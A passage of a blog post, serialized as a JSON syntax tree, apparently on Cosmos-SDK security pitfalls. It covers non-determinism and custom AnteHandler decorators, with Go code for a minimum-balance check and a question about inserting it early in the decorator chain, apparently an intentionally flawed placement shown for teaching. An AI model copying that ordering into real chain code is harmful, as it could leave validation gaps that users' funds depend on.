storeInfos",{"type":23,"tag":139,"props":75977,"children":75978},{"style":982},[75979],{"type":28,"value":74320},{"type":23,"tag":139,"props":75981,"children":75982},{"style":259},[75983],{"type":28,"value":74131},{"type":23,"tag":139,"props":75985,"children":75986},{"style":305},[75987],{"type":28,"value":3760},{"type":23,"tag":139,"props":75989,"children":75990},{"style":259},[75991],{"type":28,"value":73},{"type":23,"tag":139,"props":75993,"children":75994},{"style":305},[75995],{"type":28,"value":75996},"StoreInfo",{"type":23,"tag":139,"props":75998,"children":75999},{"style":259},[76000],{"type":28,"value":76001},"{}\n",{"type":23,"tag":139,"props":76003,"children":76004},{"class":141,"line":178},[76005,76009,76013,76017,76021,76025,76029,76034,76038,76043],{"type":23,"tag":139,"props":76006,"children":76007},{"style":319},[76008],{"type":28,"value":1003},{"type":23,"tag":139,"props":76010,"children":76011},{"style":294},[76012],{"type":28,"value":3934},{"type":23,"tag":139,"props":76014,"children":76015},{"style":259},[76016],{"type":28,"value":1052},{"type":23,"tag":139,"props":76018,"children":76019},{"style":294},[76020],{"type":28,"value":3943},{"type":23,"tag":139,"props":76022,"children":76023},{"style":982},[76024],{"type":28,"value":74320},{"type":23,"tag":139,"props":76026,"children":76027},{"style":319},[76028],{"type":28,"value":75303},{"type":23,"tag":139,"props":76030,"children":76031},{"style":294},[76032],{"type":28,"value":76033}," rs",{"type":23,"tag":139,"props":76035,"children":76036},{"style":259},[76037],{"type":28,"value":73},{"type":23,"tag":139,"props":76039,"children":76040},{"style":294},[76041],{"type":28,"value":76042},"stores",{"type":23,"tag":139,"props":76044,"children":76045},{"style":259},[76046],{"type":28,"value":1268},{"type":23,"tag":139,"props":76048,"children":76049},{"class":141,"line":187},[76050,76054,76058,76062,76067,76071,76075,76080,76084,76089],{"type":23,"tag":139,"props":76051,"children":76052},{"style":319},[76053],{"type":28,"value":1249},{"type":23,"tag":139,"props":76055,"children":76056},{"style":294},[76057],{"type":28,"value":3833},{"type":23,"tag":139,"props":76059,"children":76060},{"style":259},[76061],{"type":28,"value":73},{"type":23,"tag":139,"props":76063,"children":76064},{"style":245},[76065],{"type":28,"value":76066},"GetStoreType",{"type":23,"tag":139,"props":76068,"children":76069},{"style":259},[76070],{"type":28,"value":12054},{"type":23,"tag":139,"props":76072,"children":76073},{"style":982},[76074],{"type":28,"value":6580},{"type":23,"tag":139,"props":76076,"children":76077},{"style":294},[76078],{"type":28,"value":76079}," types",{"type":23,"tag":139,"props":76081,"children":76082},{"style":259},[76083],{"type":28,"value":73},{"type":23,"tag":139,"props":76085,"children":76086},{"style":294},[76087],{"type":28,"value":76088},"StoreTypeTransient",{"type":23,"tag":139,"props":76090,"children":76091},{"style":259},[76092],{"type":28,"value":1268},{"type":23,"tag":139,"props":76094,"children":76095},{"class":141,"line":196},[76096],{"type":23,"tag":139,"props":76097,"children":76098},{"style":319},[76099],{"type":28,"value":76100},"            continue\n",{"type":23,"tag":139,"props":76102,"children":76103},{"class":141,"line":205},[76104],{"type":23,"tag":139,"props":76105,"children":76106},{"style":259},[76107],{"type":28,"value":1326},{"type":23,"tag":139,"props":76109,"children":76110},{"class":141,"line":214},[76111,76116,76120,76124,76128,76133,76137,76141,76145,76149],{"type":23,"tag":139,"props":76112,"children":76113},{"style":294},[76114],{"type":28,"value":76115},"        storeInfos",{"type":23,"tag":139,"props":76117,"children":76118},{"style":982},[76119],{"type":28,"value":985},{"type":23,"tag":139,"props":76121,"children":76122},{"style":245},[76123],{"type":28,"value":75600},{"type":23,"tag":139,"props":76125,"children":76126},{"style":259},[76127],{"type":28,"value":262},{"type":23,"tag":139,"props":76129,"children":76130},{"style":294},[76131],{"type":28,"value":76132},"storeInfos",{"type":23,"tag":139,"props":76134,"children":76135},{"style":259},[76136],{"type":28,"value":1052},{"type":23,"tag":139,"props":76138,"children":76139},{"style":305},[76140],{"type":28,"value":3760},{"type":23,"tag":139,"props":76142,"children":76143},{"style":259},[76144],{"type":28,"value":73},{"type":23,"tag":139,"props":76146,"children":76147},{"style":305},[76148],{"type":28,"value":75996},{"type":23,"tag":139,"props":76150,"children":76151},{"style":259},[76152],{"type":28,"value":8890},{"type":23,"tag":139,"props":76154,"children":76155},{"class":141,"line":1320},[76156,76161,76166,76170,76174,76179],{"type":23,"tag":139,"props":76157,"children":76158},{"style":294},[76159],{"type":28,"value":76160},"            Name",{"type":23,"tag":139,"props":76162,"children":76163},{"style":259},[76164],{"type":28,"value":76165},":     ",{"type":23,"tag":139,"props":76167,"children":76168},{"style":294},[76169],{"type":28,"value":70058},{"type":23,"tag":139,"props":76171,"children":76172},{"style":259},[76173],{"type":28,"value":73},{"type":23,"tag":139,"props":76175,"children":76176},{"style":245},[76177],{"type":28,"value":76178},"Name",{"type":23,"tag":139,"props":76180,"children":76181},{"style":259},[76182],{"type":28,"value":1471},{"type":23,"tag":139,"props":76184,"children":76185},{"class":141,"line":1329},[76186,76191,76195,76199,76203,76208],{"type":23,"tag":139,"props":76187,"children":76188},{"style":294},[76189],{"type":28,"value":76190},"            CommitId",{"type":23,"tag":139,"props":76192,"children":76193},{"style":259},[76194],{"type":28,"value":13343},{"type":23,"tag":139,"props":76196,"children":76197},{"style":294},[76198],{"type":28,"value":3943},{"type":23,"tag":139,"props":76200,"children":76201},{"style":259},[76202],{"type":28,"value":73},{"type":23,"tag":139,"props":76204,"children":76205},{"style":245},[76206],{"type":28,"value":76207},"LastCommitID",{"type":23,"tag":139,"props":76209,"children":76210},{"style":259},[76211],{"type":28,"value":1471},{"type":23,"tag":139,"props":76213,"children":76214},{"class":141,"line":1580},[76215],{"type":23,"tag":139,"props":76216,"children":76217},{"style":259},[76218],{"type":28,"value":66099},{"type":23,"tag":139,"props":76220,"children":76221},{"class":141,"line":1597},[76222],{"type":23,"tag":139,"props":76223,"children":76224},{"style":259},[76225],{"type":28,"value":1335},{"type":23,"tag":139,"props":76227,"children":76228},{"class":141,"line":1614},[76229,76233,76237,76241,76245,76249],{"type":23,"tag":139,"props":76230,"children":76231},{"style":319},[76232],{"type":28,"value":322},{"type":23,"tag":139,"props":76234,"children":76235},{"style":982},[76236],{"type":28,"value":5144},{"type":23,"tag":139,"props":76238,"children":76239},{"style":305},[76240],{"type":28,"value":3760},{"type":23,"tag":139,"props":76242,"children":76243},{"style":259},[76244],{"type":28,"value":73},{"type":23,"tag":139,"props":76246,"children":76247},{"style":305},[76248],{"type":28,"value":75963},{"type":23,"tag":139,"props":76250,"children":76251},{"style":259},[76252],{"type":28,"value":8890},{"type":23,"tag":139,"props":76254,"children":76255},{"class":141,"line":1627},[76256,76261,76266,76271],{"type":23,"tag":139,"props":76257,"children":76258},{"style":294},[76259],{"type":28,"value":76260},"        Version",{"type":23,"tag":139,"props":76262,"children":76263},{"style":259},[76264],{"type":28,"value":76265},":    ",{"type":23,"tag":139,"props":76267,"children":76268},{"style":294},[76269],{"type":28,"value":76270},"version",{"type":23,"tag":139,"props":76272,"children":76273},{"style":259},[76274],{"type":28,"value":1488},{"type":23,"tag":139,"props":76276,"children":76277},{"class":141,"line":1636},[76278,76283,76287,76291],{"type":23,"tag":139,"props":76279,"children":76280},{"style":294},[76281],{"type":28,"value":76282},"        StoreInfos",{"type":23,"tag":139,"props":76284,"children":76285},{"style":259},[76286],{"type":28,"value":13343},{"type":23,"tag":139,"props":76288,"children":76289},{"style":294},[76290],{"type":28,"value":76132},{"type":23,"tag":139,"props":76292,"children":76293},{"style":259},[76294],{"type":28,"value":1488},{"type":23,"tag":139,"props":76296,"children":76297},{"class":141,"line":1659},[76298],{"type":23,"tag":139,"props":76299,"children":76300},{"style":259},[76301],{"type":28,"value":1335},{"type":23,"tag":139,"props":76303,"children":76304},{"class":141,"line":1667},[76305],{"type":23,"tag":139,"props":76306,"children":76307},{"style":259},[76308],{"type":28,"value":1897},{"type":23,"tag":24,"props":76310,"children":76311},{},[76312,76314,76321,76322,76329],{"type":28,"value":76313},"Other factors contributing to determinism issues are the usage of ",{"type":23,"tag":64,"props":76315,"children":76318},{"href":76316,"rel":76317},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[68],[76319],{"type":28,"value":76320},"time-sensitive functions",{"type":28,"value":9002},{"type":23,"tag":64,"props":76323,"children":76326},{"href":76324,"rel":76325},"https://github.com/cosmos/cosmos-sdk/issues/16638",[68],[76327],{"type":28,"value":76328},"race conditions",{"type":28,"value":73},{"type":23,"tag":41,"props":76331,"children":76333},{"id":76332},"thou-shalt-not-passor-should-you",[76334],{"type":28,"value":76335},"Thou Shalt Not Pass...Or Should You?",{"type":23,"tag":24,"props":76337,"children":76338},{},[76339,76341,76347,76348,76354],{"type":28,"value":76340},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":23,"tag":135,"props":76342,"children":76344},{"className":76343},[],[76345],{"type":28,"value":76346},"msg.value",{"type":28,"value":1052},{"type":23,"tag":135,"props":76349,"children":76351},{"className":76350},[],[76352],{"type":28,"value":76353},"msg.sender",{"type":28,"value":76355},", and collecting transaction fees) to the underlying blockchain.",{"type":23,"tag":24,"props":76357,"children":76358},{},[76359,76361,76367,76369,76375],{"type":28,"value":76360},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":23,"tag":135,"props":76362,"children":76364},{"className":76363},[],[76365],{"type":28,"value":76366},"Cosmos-SDK",{"type":28,"value":76368}," introduces ",{"type":23,"tag":135,"props":76370,"children":76372},{"className":76371},[],[76373],{"type":28,"value":76374},"AnteHandler",{"type":28,"value":76376}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":23,"tag":24,"props":76378,"children":76379},{},[76380,76382,76387,76389,76394],{"type":28,"value":76381},"To provide context, let's first understand how an ",{"type":23,"tag":135,"props":76383,"children":76385},{"className":76384},[],[76386],{"type":28,"value":76374},{"type":28,"value":76388}," is processed. Each ",{"type":23,"tag":135,"props":76390,"children":76392},{"className":76391},[],[76393],{"type":28,"value":76374},{"type":28,"value":76395}," is a state transition function that can:",{"type":23,"tag":797,"props":76397,"children":76398},{},[76399,76404],{"type":23,"tag":801,"props":76400,"children":76401},{},[76402],{"type":28,"value":76403},"Transform the block state in relation to transaction and execution context.",{"type":23,"tag":801,"props":76405,"children":76406},{},[76407,76409],{"type":28,"value":76408},"Determine the course of action for the transaction.\n",{"type":23,"tag":797,"props":76410,"children":76411},{},[76412,76423],{"type":23,"tag":801,"props":76413,"children":76414},{},[76415,76417,76422],{"type":28,"value":76416},"Pass the transaction to the next ",{"type":23,"tag":135,"props":76418,"children":76420},{"className":76419},[],[76421],{"type":28,"value":76374},{"type":28,"value":73},{"type":23,"tag":801,"props":76424,"children":76425},{},[76426],{"type":28,"value":76427},"Return error for transaction.",{"type":23,"tag":24,"props":76429,"children":76430},{},[76431,76433,76438],{"type":28,"value":76432},"The bad news is that developing an ",{"type":23,"tag":135,"props":76434,"children":76436},{"className":76435},[],[76437],{"type":28,"value":76374},{"type":28,"value":76439}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":23,"tag":24,"props":76441,"children":76442},{},[76443,76444,76450],{"type":28,"value":14625},{"type":23,"tag":135,"props":76445,"children":76447},{"className":76446},[],[76448],{"type":28,"value":76449},"AnteHandle",{"type":28,"value":76451}," implementation may look something like this:",{"type":23,"tag":128,"props":76453,"children":76455},{"code":76454,"language":74068,"meta":7,"className":74069,"style":7},"const (\n    MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n    ctx sdk.Context,\n    tx sdk.Tx,\n    simulate bool,\n    next sdk.AnteHandler,\n) (sdk.Context, error) {\n    sigTx, ok := tx.(authsigning.SigVerifiableTx)\n    if !ok {\n        return ctx, errorsmod.Wrap(\n            sdkerrors.ErrTxDecode,\n            \"invalid tx type\",\n        )\n    }\n\n    signers := sigTx.GetSigners()\n    for i, signer := range signers {\n        balance := abd.bk.getBalance(ctx, signer, ATOM)\n        if balance.Amount \u003C MIN_BALANCE {\n            return ctx, errorsmod.Wrap(\n                ErrInsufficientBalance,\n                \"Insufficient Balance\",\n            )\n        }\n    }\n\n    return next(ctx, tx, simulate)\n}\n",[76456],{"type":23,"tag":135,"props":76457,"children":76458},{"__ignoreMap":7},[76459,76471,76487,76494,76501,76534,76558,76583,76599,76623,76655,76703,76722,76755,76776,76788,76795,76802,76809,76839,76875,76939,76973,77005,77017,77029,77036,77043,77050,77057,77099],{"type":23,"tag":139,"props":76460,"children":76461},{"class":141,"line":142},[76462,76466],{"type":23,"tag":139,"props":76463,"children":76464},{"style":279},[76465],{"type":28,"value":7663},{"type":23,"tag":139,"props":76467,"children":76468},{"style":259},[76469],{"type":28,"value":76470}," (\n",{"type":23,"tag":139,"props":76472,"children":76473},{"class":141,"line":151},[76474,76479,76483],{"type":23,"tag":139,"props":76475,"children":76476},{"style":294},[76477],{"type":28,"value":76478},"    MIN_BALANCE",{"type":23,"tag":139,"props":76480,"children":76481},{"style":982},[76482],{"type":28,"value":985},{"type":23,"tag":139,"props":76484,"children":76485},{"style":1016},[76486],{"type":28,"value":17351},{"type":23,"tag":139,"props":76488,"children":76489},{"class":141,"line":160},[76490],{"type":23,"tag":139,"props":76491,"children":76492},{"style":259},[76493],{"type":28,"value":273},{"type":23,"tag":139,"props":76495,"children":76496},{"class":141,"line":169},[76497],{"type":23,"tag":139,"props":76498,"children":76499},{"emptyLinePlaceholder":15},[76500],{"type":28,"value":184},{"type":23,"tag":139,"props":76502,"children":76503},{"class":141,"line":178},[76504,76508,76512,76517,76522,76526,76530],{"type":23,"tag":139,"props":76505,"children":76506},{"style":279},[76507],{"type":28,"value":74204},{"type":23,"tag":139,"props":76509,"children":76510},{"style":259},[76511],{"type":28,"value":1042},{"type":23,"tag":139,"props":76513,"children":76514},{"style":294},[76515],{"type":28,"value":76516},"abd ",{"type":23,"tag":139,"props":76518,"children":76519},{"style":305},[76520],{"type":28,"value":76521},"AccountBalanceDecorator",{"type":23,"tag":139,"props":76523,"children":76524},{"style":259},[76525],{"type":28,"value":1062},{"type":23,"tag":139,"props":76527,"children":76528},{"style":245},[76529],{"type":28,"value":76449},{"type":23,"tag":139,"props":76531,"children":76532},{"style":259},[76533],{"type":28,"value":1443},{"type":23,"tag":139,"props":76535,"children":76536},{"class":141,"line":187},[76537,76541,76546,76550,76554],{"type":23,"tag":139,"props":76538,"children":76539},{"style":294},[76540],{"type":28,"value":18231},{"type":23,"tag":139,"props":76542,"children":76543},{"style":305},[76544],{"type":28,"value":76545}," sdk",{"type":23,"tag":139,"props":76547,"children":76548},{"style":259},[76549],{"type":28,"value":73},{"type":23,"tag":139,"props":76551,"children":76552},{"style":305},[76553],{"type":28,"value":74253},{"type":23,"tag":139,"props":76555,"children":76556},{"style":259},[76557],{"type":28,"value":1488},{"type":23,"tag":139,"props":76559,"children":76560},{"class":141,"line":196},[76561,76566,76570,76574,76579],{"type":23,"tag":139,"props":76562,"children":76563},{"style":294},[76564],{"type":28,"value":76565},"    tx",{"type":23,"tag":139,"props":76567,"children":76568},{"style":305},[76569],{"type":28,"value":76545},{"type":23,"tag":139,"props":76571,"children":76572},{"style":259},[76573],{"type":28,"value":73},{"type":23,"tag":139,"props":76575,"children":76576},{"style":305},[76577],{"type":28,"value":76578},"Tx",{"type":23,"tag":139,"props":76580,"children":76581},{"style":259},[76582],{"type":28,"value":1488},{"type":23,"tag":139,"props":76584,"children":76585},{"class":141,"line":205},[76586,76591,76595],{"type":23,"tag":139,"props":76587,"children":76588},{"style":294},[76589],{"type":28,"value":76590},"    simulate",{"type":23,"tag":139,"props":76592,"children":76593},{"style":305},[76594],{"type":28,"value":10061},{"type":23,"tag":139,"props":76596,"children":76597},{"style":259},[76598],{"type":28,"value":1488},{"type":23,"tag":139,"props":76600,"children":76601},{"class":141,"line":214},[76602,76607,76611,76615,76619],{"type":23,"tag":139,"props":76603,"children":76604},{"style":294},[76605],{"type":28,"value":76606},"    next",{"type":23,"tag":139,"props":76608,"children":76609},{"style":305},[76610],{"type":28,"value":76545},{"type":23,"tag":139,"props":76612,"children":76613},{"style":259},[76614],{"type":28,"value":73},{"type":23,"tag":139,"props":76616,"children":76617},{"style":305},[76618],{"type":28,"value":76374},{"type":23,"tag":139,"props":76620,"children":76621},{"style":259},[76622],{"type":28,"value":1488},{"type":23,"tag":139,"props":76624,"children":76625},{"class":141,"line":1320},[76626,76630,76635,76639,76643,76647,76651],{"type":23,"tag":139,"props":76627,"children":76628},{"style":259},[76629],{"type":28,"value":74286},{"type":23,"tag":139,"props":76631,"children":76632},{"style":305},[76633],{"type":28,"value":76634},"sdk",{"type":23,"tag":139,"props":76636,"children":76637},{"style":259},[76638],{"type":28,"value":73},{"type":23,"tag":139,"props":76640,"children":76641},{"style":305},[76642],{"type":28,"value":74253},{"type":23,"tag":139,"props":76644,"children":76645},{"style":259},[76646],{"type":28,"value":1052},{"type":23,"tag":139,"props":76648,"children":76649},{"style":305},[76650],{"type":28,"value":12875},{"type":23,"tag":139,"props":76652,"children":76653},{"style":259},[76654],{"type":28,"value":12815},{"type":23,"tag":139,"props":76656,"children":76657},{"class":141,"line":1329},[76658,76663,76667,76672,76676,76680,76685,76690,76694,76699],{"type":23,"tag":139,"props":76659,"children":76660},{"style":294},[76661],{"type":28,"value":76662},"    sigTx",{"type":23,"tag":139,"props":76664,"children":76665},{"style":259},[76666],{"type":28,"value":1052},{"type":23,"tag":139,"props":76668,"children":76669},{"style":294},[76670],{"type":28,"value":76671},"ok",{"type":23,"tag":139,"props":76673,"children":76674},{"style":982},[76675],{"type":28,"value":74320},{"type":23,"tag":139,"props":76677,"children":76678},{"style":294},[76679],{"type":28,"value":65929},{"type":23,"tag":139,"props":76681,"children":76682},{"style":259},[76683],{"type":28,"value":76684},".(",{"type":23,"tag":139,"props":76686,"children":76687},{"style":305},[76688],{"type":28,"value":76689},"authsigning",{"type":23,"tag":139,"props":76691,"children":76692},{"style":259},[76693],{"type":28,"value":73},{"type":23,"tag":139,"props":76695,"children":76696},{"style":305},[76697],{"type":28,"value":76698},"SigVerifiableTx",{"type":23,"tag":139,"props":76700,"children":76701},{"style":259},[76702],{"type":28,"value":273},{"type":23,"tag":139,"props":76704,"children":76705},{"class":141,"line":1580},[76706,76710,76714,76718],{"type":23,"tag":139,"props":76707,"children":76708},{"style":319},[76709],{"type":28,"value":10290},{"type":23,"tag":139,"props":76711,"children":76712},{"style":982},[76713],{"type":28,"value":10875},{"type":23,"tag":139,"props":76715,"children":76716},{"style":294},[76717],{"type":28,"value":76671},{"type":23,"tag":139,"props":76719,"children":76720},{"style":259},[76721],{"type":28,"value":1268},{"type":23,"tag":139,"props":76723,"children":76724},{"class":141,"line":1597},[76725,76729,76733,76737,76742,76746,76751],{"type":23,"tag":139,"props":76726,"children":76727},{"style":319},[76728],{"type":28,"value":13755},{"type":23,"tag":139,"props":76730,"children":76731},{"style":294},[76732],{"type":28,"value":23864},{"type":23,"tag":139,"props":76734,"children":76735},{"style":259},[76736],{"type":28,"value":1052},{"type":23,"tag":139,"props":76738,"children":76739},{"style":294},[76740],{"type":28,"value":76741},"errorsmod",{"type":23,"tag":139,"props":76743,"children":76744},{"style":259},[76745],{"type":28,"value":73},{"type":23,"tag":139,"props":76747,"children":76748},{"style":245},[76749],{"type":28,"value":76750},"Wrap",{"type":23,"tag":139,"props":76752,"children":76753},{"style":259},[76754],{"type":28,"value":1443},{"type":23,"tag":139,"props":76756,"children":76757},{"class":141,"line":1614},[76758,76763,76767,76772],{"type":23,"tag":139,"props":76759,"children":76760},{"style":294},[76761],{"type":28,"value":76762},"            sdkerrors",{"type":23,"tag":139,"props":76764,"children":76765},{"style":259},[76766],{"type":28,"value":73},{"type":23,"tag":139,"props":76768,"children":76769},{"style":294},[76770],{"type":28,"value":76771},"ErrTxDecode",{"type":23,"tag":139,"props":76773,"children":76774},{"style":259},[76775],{"type":28,"value":1488},{"type":23,"tag":139,"props":76777,"children":76778},{"class":141,"line":1627},[76779,76784],{"type":23,"tag":139,"props":76780,"children":76781},{"style":265},[76782],{"type":28,"value":76783},"            \"invalid tx type\"",{"type":23,"tag":139,"props":76785,"children":76786},{"style":259},[76787],{"type":28,"value":1488},{"type":23,"tag":139,"props":76789,"children":76790},{"class":141,"line":1636},[76791],{"type":23,"tag":139,"props":76792,"children":76793},{"style":259},[76794],{"type":28,"value":66222},{"type":23,"tag":139,"props":76796,"children":76797},{"class":141,"line":1659},[76798],{"type":23,"tag":139,"props":76799,"children":76800},{"style":259},[76801],{"type":28,"value":1335},{"type":23,"tag":139,"props":76803,"children":76804},{"class":141,"line":1667},[76805],{"type":23,"tag":139,"props":76806,"children":76807},{"emptyLinePlaceholder":15},[76808],{"type":28,"value":184},{"type":23,"tag":139,"props":76810,"children":76811},{"class":141,"line":1676},[76812,76817,76821,76826,76830,76835],{"type":23,"tag":139,"props":76813,"children":76814},{"style":294},[76815],{"type":28,"value":76816},"    signers",{"type":23,"tag":139,"props":76818,"children":76819},{"style":982},[76820],{"type":28,"value":74320},{"type":23,"tag":139,"props":76822,"children":76823},{"style":294},[76824],{"type":28,"value":76825}," sigTx",{"type":23,"tag":139,"props":76827,"children":76828},{"style":259},[76829],{"type":28,"value":73},{"type":23,"tag":139,"props":76831,"children":76832},{"style":245},[76833],{"type":28,"value":76834},"GetSigners",{"type":23,"tag":139,"props":76836,"children":76837},{"style":259},[76838],{"type":28,"value":5739},{"type":23,"tag":139,"props":76840,"children":76841},{"class":141,"line":1745},[76842,76846,76850,76854,76858,76862,76866,76871],{"type":23,"tag":139,"props":76843,"children":76844},{"style":319},[76845],{"type":28,"value":1003},{"type":23,"tag":139,"props":76847,"children":76848},{"style":294},[76849],{"type":28,"value":1378},{"type":23,"tag":139,"props":76851,"children":76852},{"style":259},[76853],{"type":28,"value":1052},{"type":23,"tag":139,"props":76855,"children":76856},{"style":294},[76857],{"type":28,"value":5149},{"type":23,"tag":139,"props":76859,"children":76860},{"style":982},[76861],{"type":28,"value":74320},{"type":23,"tag":139,"props":76863,"children":76864},{"style":319},[76865],{"type":28,"value":75303},{"type":23,"tag":139,"props":76867,"children":76868},{"style":294},[76869],{"type":28,"value":76870}," signers",{"type":23,"tag":139,"props":76872,"children":76873},{"style":259},[76874],{"type":28,"value":1268},{"type":23,"tag":139,"props":76876,"children":76877},{"class":141,"line":1753},[76878,76883,76887,76892,76896,76901,76905,76910,76914,76918,76922,76926,76930,76935],{"type":23,"tag":139,"props":76879,"children":76880},{"style":294},[76881],{"type":28,"value":76882},"        balance",{"type":23,"tag":139,"props":76884,"children":76885},{"style":982},[76886],{"type":28,"value":74320},{"type":23,"tag":139,"props":76888,"children":76889},{"style":294},[76890],{"type":28,"value":76891}," abd",{"type":23,"tag":139,"props":76893,"children":76894},{"style":259},[76895],{"type":28,"value":73},{"type":23,"tag":139,"props":76897,"children":76898},{"style":294},[76899],{"type":28,"value":76900},"bk",{"type":23,"tag":139,"props":76902,"children":76903},{"style":259},[76904],{"type":28,"value":73},{"type":23,"tag":139,"props":76906,"children":76907},{"style":245},[76908],{"type":28,"value":76909},"getBalance",{"type":23,"tag":139,"props":76911,"children":76912},{"style":259},[76913],{"type":28,"value":262},{"type":23,"tag":139,"props":76915,"children":76916},{"style":294},[76917],{"type":28,"value":18288},{"type":23,"tag":139,"props":76919,"children":76920},{"style":259},[76921],{"type":28,"value":1052},{"type":23,"tag":139,"props":76923,"children":76924},{"style":294},[76925],{"type":28,"value":5149},{"type":23,"tag":139,"props":76927,"children":76928},{"style":259},[76929],{"type":28,"value":1052},{"type":23,"tag":139,"props":76931,"children":76932},{"style":294},[76933],{"type":28,"value":76934},"ATOM",{"type":23,"tag":139,"props":76936,"children":76937},{"style":259},[76938],{"type":28,"value":273},{"type":23,"tag":139,"props":76940,"children":76941},{"class":141,"line":1783},[76942,76946,76951,76955,76960,76964,76969],{"type":23,"tag":139,"props":76943,"children":76944},{"style":319},[76945],{"type":28,"value":1249},{"type":23,"tag":139,"props":76947,"children":76948},{"style":294},[76949],{"type":28,"value":76950}," balance",{"type":23,"tag":139,"props":76952,"children":76953},{"style":259},[76954],{"type":28,"value":73},{"type":23,"tag":139,"props":76956,"children":76957},{"style":294},[76958],{"type":28,"value":76959},"Amount",{"type":23,"tag":139,"props":76961,"children":76962},{"style":982},[76963],{"type":28,"value":6724},{"type":23,"tag":139,"props":76965,"children":76966},{"style":294},[76967],{"type":28,"value":76968}," MIN_BALANCE",{"type":23,"tag":139,"props":76970,"children":76971},{"style":259},[76972],{"type":28,"value":1268},{"type":23,"tag":139,"props":76974,"children":76975},{"class":141,"line":1791},[76976,76981,76985,76989,76993,76997,77001],{"type":23,"tag":139,"props":76977,"children":76978},{"style":319},[76979],{"type":28,"value":76980},"            return",{"type":23,"tag":139,"props":76982,"children":76983},{"style":294},[76984],{"type":28,"value":23864},{"type":23,"tag":139,"props":76986,"children":76987},{"style":259},[76988],{"type":28,"value":1052},{"type":23,"tag":139,"props":76990,"children":76991},{"style":294},[76992],{"type":28,"value":76741},{"type":23,"tag":139,"props":76994,"children":76995},{"style":259},[76996],{"type":28,"value":73},{"type":23,"tag":139,"props":76998,"children":76999},{"style":245},[77000],{"type":28,"value":76750},{"type":23,"tag":139,"props":77002,"children":77003},{"style":259},[77004],{"type":28,"value":1443},{"type":23,"tag":139,"props":77006,"children":77007},{"class":141,"line":1823},[77008,77013],{"type":23,"tag":139,"props":77009,"children":77010},{"style":294},[77011],{"type":28,"value":77012},"                ErrInsufficientBalance",{"type":23,"tag":139,"props":77014,"children":77015},{"style":259},[77016],{"type":28,"value":1488},{"type":23,"tag":139,"props":77018,"children":77019},{"class":141,"line":1831},[77020,77025],{"type":23,"tag":139,"props":77021,"children":77022},{"style":265},[77023],{"type":28,"value":77024},"                \"Insufficient Balance\"",{"type":23,"tag":139,"props":77026,"children":77027},{"style":259},[77028],{"type":28,"value":1488},{"type":23,"tag":139,"props":77030,"children":77031},{"class":141,"line":1891},[77032],{"type":23,"tag":139,"props":77033,"children":77034},{"style":259},[77035],{"type":28,"value":75419},{"type":23,"tag":139,"props":77037,"children":77038},{"class":141,"line":7053},[77039],{"type":23,"tag":139,"props":77040,"children":77041},{"style":259},[77042],{"type":28,"value":1326},{"type":23,"tag":139,"props":77044,"children":77045},{"class":141,"line":7071},[77046],{"type":23,"tag":139,"props":77047,"children":77048},{"style":259},[77049],{"type":28,"value":1335},{"type":23,"tag":139,"props":77051,"children":77052},{"class":141,"line":7116},[77053],{"type":23,"tag":139,"props":77054,"children":77055},{"emptyLinePlaceholder":15},[77056],{"type":28,"value":184},{"type":23,"tag":139,"props":77058,"children":77059},{"class":141,"line":7222},[77060,77064,77069,77073,77077,77081,77086,77090,77095],{"type":23,"tag":139,"props":77061,"children":77062},{"style":319},[77063],{"type":28,"value":322},{"type":23,"tag":139,"props":77065,"children":77066},{"style":245},[77067],{"type":28,"value":77068}," next",{"type":23,"tag":139,"props":77070,"children":77071},{"style":259},[77072],{"type":28,"value":262},{"type":23,"tag":139,"props":77074,"children":77075},{"style":294},[77076],{"type":28,"value":18288},{"type":23,"tag":139,"props":77078,"children":77079},{"style":259},[77080],{"type":28,"value":1052},{"type":23,"tag":139,"props":77082,"children":77083},{"style":294},[77084],{"type":28,"value":77085},"tx",{"type":23,"tag":139,"props":77087,"children":77088},{"style":259},[77089],{"type":28,"value":1052},{"type":23,"tag":139,"props":77091,"children":77092},{"style":294},[77093],{"type":28,"value":77094},"simulate",{"type":23,"tag":139,"props":77096,"children":77097},{"style":259},[77098],{"type":28,"value":273},{"type":23,"tag":139,"props":77100,"children":77101},{"class":141,"line":21518},[77102],{"type":23,"tag":139,"props":77103,"children":77104},{"style":259},[77105],{"type":28,"value":1897},{"type":23,"tag":24,"props":77107,"children":77108},{},[77109,77111,77116,77118,77124,77126,77132],{"type":28,"value":77110},"Where should this custom ",{"type":23,"tag":135,"props":77112,"children":77114},{"className":77113},[],[77115],{"type":28,"value":76374},{"type":28,"value":77117}," be placed relative to other ",{"type":23,"tag":135,"props":77119,"children":77121},{"className":77120},[],[77122],{"type":28,"value":77123},"AnteHandlers",{"type":28,"value":77125}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":23,"tag":135,"props":77127,"children":77129},{"className":77128},[],[77130],{"type":28,"value":77131},"SetUpContextDecorator",{"type":28,"value":77133}," should work, right?",{"type":23,"tag":24,"props":77135,"children":77136},{},[77137],{"type":23,"tag":64,"props":77138,"children":77141},{"href":77139,"rel":77140},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[68],[77142],{"type":28,"value":74643},{"type":23,"tag":128,"props":77144,"children":77146},{"code":77145,"language":74068,"meta":7,"className":74069,"style":7},"anteDecorators := []sdk.AnteDecorator{\n    NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n    // INSERT HERE\n    NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n    NewValidateBasicDecorator(),\n    NewTxTimeoutHeightDecorator(),\n    NewValidateMemoDecorator(options.AccountKeeper),\n    NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n    NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n    NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n    NewValidateSigCountDecorator(options.AccountKeeper),\n    NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n    